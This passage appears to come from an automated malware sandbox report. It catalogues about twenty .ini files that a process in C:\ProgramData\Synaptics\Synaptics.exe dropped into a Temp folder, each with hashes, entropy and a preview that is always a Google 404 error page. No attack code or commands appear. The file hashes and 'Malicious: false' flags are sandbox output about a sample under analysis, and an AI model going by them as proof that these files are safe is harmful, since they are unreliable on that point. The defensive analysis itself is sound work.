Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="SGspGgl3_Nm7jUQWdK9ArA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\j7y68ts.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.273804693508221
Encrypted:	false
SSDEEP:	24:GgsF+00CPSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+MP+pAZewRDK4mW
MD5:	55F5DDA8EB1A4E8776131BA11C728F36
SHA1:	03CDFFF4D7D57F50B17BED47A190E85F83BA1E03
SHA-256:	8234062C5B3619D3F8B36EAFBAD301F432CE0265DCDF9A753541879B0D266F2D
SHA-512:	0AD30B6917D921E01B63086D1CA0739102CAE0610239A7F88290455031EDAB0A717602E77D3A2C79F9590DB438505B5A0D05DF10F435CF1C976554917EB1A738
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="zCLyQqHkP8IfkEHOv0sHOg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\jbQlbeD.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.269919508568457
Encrypted:	false
SSDEEP:	24:GgsF+0HDSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+c+pAZewRDK4mW
MD5:	73E56FAB9CFA741674E012724B62134F
SHA1:	87FDC2A50108BD89196C377EF9881ED1686F10AB
SHA-256:	1403FD8582BFEBC1513CBFF9A0394B0C3EA737749D345F4522575ECAAEE6F3FE
SHA-512:	D7EA13189B32C7F892CC226A685F73311EB7009AE6D1D237488D981FBCAB9CCCC75665E722892CCC138ADC36B81DF44A97F43B4B930BBE4BA0137299491E95CD
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="uCLf2IJcDuPZysFH2z7klQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\jpAlx8j.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.2607128063985895
Encrypted:	false
SSDEEP:	24:GgsF+03SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+s+pAZewRDK4mW
MD5:	CCA58DCBC9701B42C18CB0E8B567457B
SHA1:	3A0D16975858ED23FBF529AB6753D04D3EB38FF9
SHA-256:	08184C924AF5C92EA2F5F2C71E9475EBBF7557EE11C8EFB6D4819D1A1AACD8A8
SHA-512:	D487719025959A57FFEFC66CF4D9925C0F4D04905C769F975086E7A0C055D8494CC0C36EFCC18B2E23A4CDC4C18BCD8B7CC563E250EFC3EA1E6979F53EA10490
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="7B6_OjQleBZabOUuXac1iw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\l21ZBwL.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.26284603286197
Encrypted:	false
SSDEEP:	24:GgsF+0oIulSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+z+pAZewRDK4mW
MD5:	DE976B61EE3FA74196114A0D018BB856
SHA1:	C0A99CC4DB125D294F692F0BD1E68D7D836231D0
SHA-256:	2E1219566192950FA325EF4765CF410D9251418FD40E4F89B466443EAC7D01C0
SHA-512:	5A76D3FFAB78427A525CA211208D8F58C1B2555363B99ED1CA8892193DC55A050798E31618418AD1D55B7E71E913CA5008E268AE1F60B1F6E9DA3E9446669B91
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="iD2FQ21e7kcJQD9wUI74uA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\l4L2lch.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.263913398452283
Encrypted:	false
SSDEEP:	24:GgsF+0v5SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+s5+pAZewRDK4mW
MD5:	B74D2D479070BB696EF34365BF7E0359
SHA1:	DEAEAACFA09F715CF693FA30C3C83B430480B7D3
SHA-256:	95DBA7C9FFBB83A4AD17BC25001AAB133021C12CF47C2053D62A9498D7F595F1
SHA-512:	3446F783796D9EA92936980C97F250861F9B740D534A9E23886013C5A38BC2270D38F5096863A34F464F6C38C6921CF350932F65442734EBF06D87564199EE88
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="QvDmtX0MP6smc10VOtHpgA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\lm7b7Yf.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.255754164092381
Encrypted:	false
SSDEEP:	24:GgsF+0DFSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+6+pAZewRDK4mW
MD5:	8ADD4910B834F154E77DC3A21A1D5185
SHA1:	236C1CFB710F673499013CCB2F9C295B644F712C
SHA-256:	F499C61F5CDAF4198A17583263275EE5A847D8D6A10BF2CFC0B4277DE6A54C4A
SHA-512:	BDE40F16BDEA12AC3BDB5CFEF4BCD483874BF183F83AB9C480C6202528977AE060C87AB0908BC3A38CDE9318BE56538A4D43A7B48219A3543E2808D7722ADEEC
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="ewEUGjlN9MKsho6t8crxnQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\luyScfJ.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.254035729368707
Encrypted:	false
SSDEEP:	24:GgsF+0N3DbSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+Mv+pAZewRDK4mW
MD5:	2C179FBF9035B9738372F52D2A9D1F96
SHA1:	CDFCED775FAA0249DEE51E14DB54974AB8F71EFD
SHA-256:	B2B6B473C29B7005C2F9EBF02C5241A7AFD942953CEBE382B78D020DDBFE4F61
SHA-512:	6AA732A7C031D6885F30DA8E727188AABEF792A7BE99C7D7ABE50009AD15C6C18EC21C489CE33A6D5067C1CBCA95FD9CF687AE90659FBB5D880674B1B124C994
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="ECd8DPkJwql34ao5saj3ag">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\mRr2yGN.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.265974476180761
Encrypted:	false
SSDEEP:	24:GgsF+0lcSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+t+pAZewRDK4mW
MD5:	5A12239C566A00E5338CBF960B999C17
SHA1:	CD36C168658B02F30B4B10D4FE8195E70B6EB565
SHA-256:	C28FD100A4D7579245E7D69E44CD2C14A81AC92C4EFA16BB143EAB2EA915431C
SHA-512:	88EBBF15A17B4368370282955D8C7BFA4F67B23FBD9A8D1692F453A416447D6937A0D61322EA4A660750AC86DDED8AEB7D3FAC369A84B85AF1F61D3644AAA6E6
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="dw0iySNWJifhZBXV-DCOig">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\nk3aYrc.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.254946725817898
Encrypted:	false
SSDEEP:	24:GgsF+06d+SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+DE+pAZewRDK4mW
MD5:	E820921B90CD6E1C26ADBB0789E1B4B5
SHA1:	7CDB847A5F4217697FE337BDB7DBC3E9D1E651FA
SHA-256:	3F2DDEF68DC7BFF754901C4789E1FD4E7D80F3DBE61F689A50EDF433A105F6A2
SHA-512:	25C0CB8E363E07814D539709C551B3ED532C3C7A3C525918505B85D388889D85D7FDF0E62CCB894740172F80F8A5E73690E8CA8942CE979911ED24909BECFA20
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="eJ5Ol0TCRsTsxnGTZ0TzRg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\oFtkmdH.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.2638850512554045
Encrypted:	false
SSDEEP:	24:GgsF+0wS3SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+6+pAZewRDK4mW
MD5:	664C6E4D0FF6BBE637E11C62017E8364
SHA1:	7862094D318ACC8F19C7EC51A0955599BAACE91C
SHA-256:	8CADAF857F8A7CA012F79113C20F11A9174E1F366894A4D5734BD730E03C55AB
SHA-512:	AF3026439FCFA60F3589E8CAAC852E99623B528036F6B9FE393168498A8C7F2B347AF5F27F184AD302A82ACDE2AE16758B9B2104D7B70376DAB681159DA24E8F
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="uU_UeTYPPoBpRCUuVL06ig">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\oH6YS1e.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.26668119617933
Encrypted:	false
SSDEEP:	24:GgsF+0qESU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+rE+pAZewRDK4mW
MD5:	5D04E33C51BE44CF631B8C888886A8A1
SHA1:	E34241D60A65D9B41D97E64C3A92B3A797763FEC
SHA-256:	002174EAC31E43D2FABC35594F0553AE0AF4442ECD89474B0B6445839E2C5586
SHA-512:	7D4F5C5446E81648F3DD1C5624F530CC8E45047A691186A1C32A669D92C8CFC3A34D72325D38785A06CE46AB799E47B23A233756D683984A7EFCFA45313F94E9
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="U8-srKf0MY4GHnbZGYQr7A">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\oiBplsz.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.2531590962478685
Encrypted:	false
SSDEEP:	24:GgsF+0VlSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+k+pAZewRDK4mW
MD5:	07E248F7D1B13EDD6D7F6714748EE34F
SHA1:	A5DBCEF3DFBAFB8DFDD0E1F7A2B10D7610346827
SHA-256:	10B787A1537260DC265A9700268ADB31A1C1C04FA8DCAAE5CD5C8A2190B0E074
SHA-512:	381F783E8BCCB117DA8C0D7B08910EB3A053CC846AD6D36523EDF6A6822A486149DB3841FC391E7609E725A34F81ADE2630AE92DCD5168A5A4156BCE9CAB1C25
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="RxPogZno2W2vwIxnybXH8w">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\pE66xeK.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.256419431735564
Encrypted:	false
SSDEEP:	24:GgsF+0eSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+x+pAZewRDK4mW
MD5:	E8D49E712CB8EA2C67EBEB47E35B67EF
SHA1:	B3C8D10277D66EEB03A53366E66373D2EB4B46F3
SHA-256:	153ECB74AA99A3F42B2D546E76F5D913A84F40967142DED984711720D3162366
SHA-512:	0F9C555CD5EDFCFDE182A61160ED55CF25C54C26E6815724B70B9325407444F68C6185D4425E1CBF0B10AE14CF3BF5B6FC1CE356B062441996A1842295DD5CCD
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="dmdqDvW1g1DzH4IQok-hmQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\pjcTSJz.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.265144012786074
Encrypted:	false
SSDEEP:	24:GgsF+0wRSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+x+pAZewRDK4mW
MD5:	F9B245B85DDB79F1F63AD1E7D681E246
SHA1:	B8DAFAEC5616CE78730CCE548CB639B63463FBFF
SHA-256:	5AAF6A202F948BD2810666E59A5858BCC6188D1B51C7865CD5BFCB71F51EA4C0
SHA-512:	F40B8FB14020D8DD5D95D9B69AC86E2E444FC385CF8C58F201541DDA35B3D6875CD05800AF4F94EB7996096D88859A363828B770A774F1F2D4418742305D8589
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="En7v1YgdMJ0U_BvOnkhqIA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\q1nkXNJ.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.27433355846519
Encrypted:	false
SSDEEP:	24:GgsF+0ebSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+3+pAZewRDK4mW
MD5:	EC7AEF14D42F9BB0C6A29F30D2B98787
SHA1:	D36A5194421A5EE6970DCC4C7CDB09C6C34A5B3F
SHA-256:	3447DB040B6767A95FF2C0CF979F289B25E5295BC0024FB9715EFAF24C4E0367
SHA-512:	E1DDF56F301CEC832463F30B929B0685C1C8A66E6C547E58A42DFBA3CA122B745B996FB3F960D3B8CFD55030856231C6356029E123C39979F7BBE98F8E243848
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="B-SSsZvHfmJ9YrOwN9_QZQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\q8ph9CU.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.261373352139962
Encrypted:	false
SSDEEP:	24:GgsF+06nISU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+xI+pAZewRDK4mW
MD5:	CF7D67813EADFB04661CAFDD436B5204
SHA1:	34A788572A4EBC3EEAECF8183DB8DCB988D27B85
SHA-256:	036217587FBA426B3D880340D0FCD41FEF02D328621C1EDD3C2D05523B93B520
SHA-512:	FEBCA6FF7C480CCA2F6C8B2EE7365991CED06F6A4024F031C583FA60CA35FAA0C07884C511A63712DA37C8692C5D9F2040CDDF6C7FD00A7622CAC036574E32B5
Malicious:	false
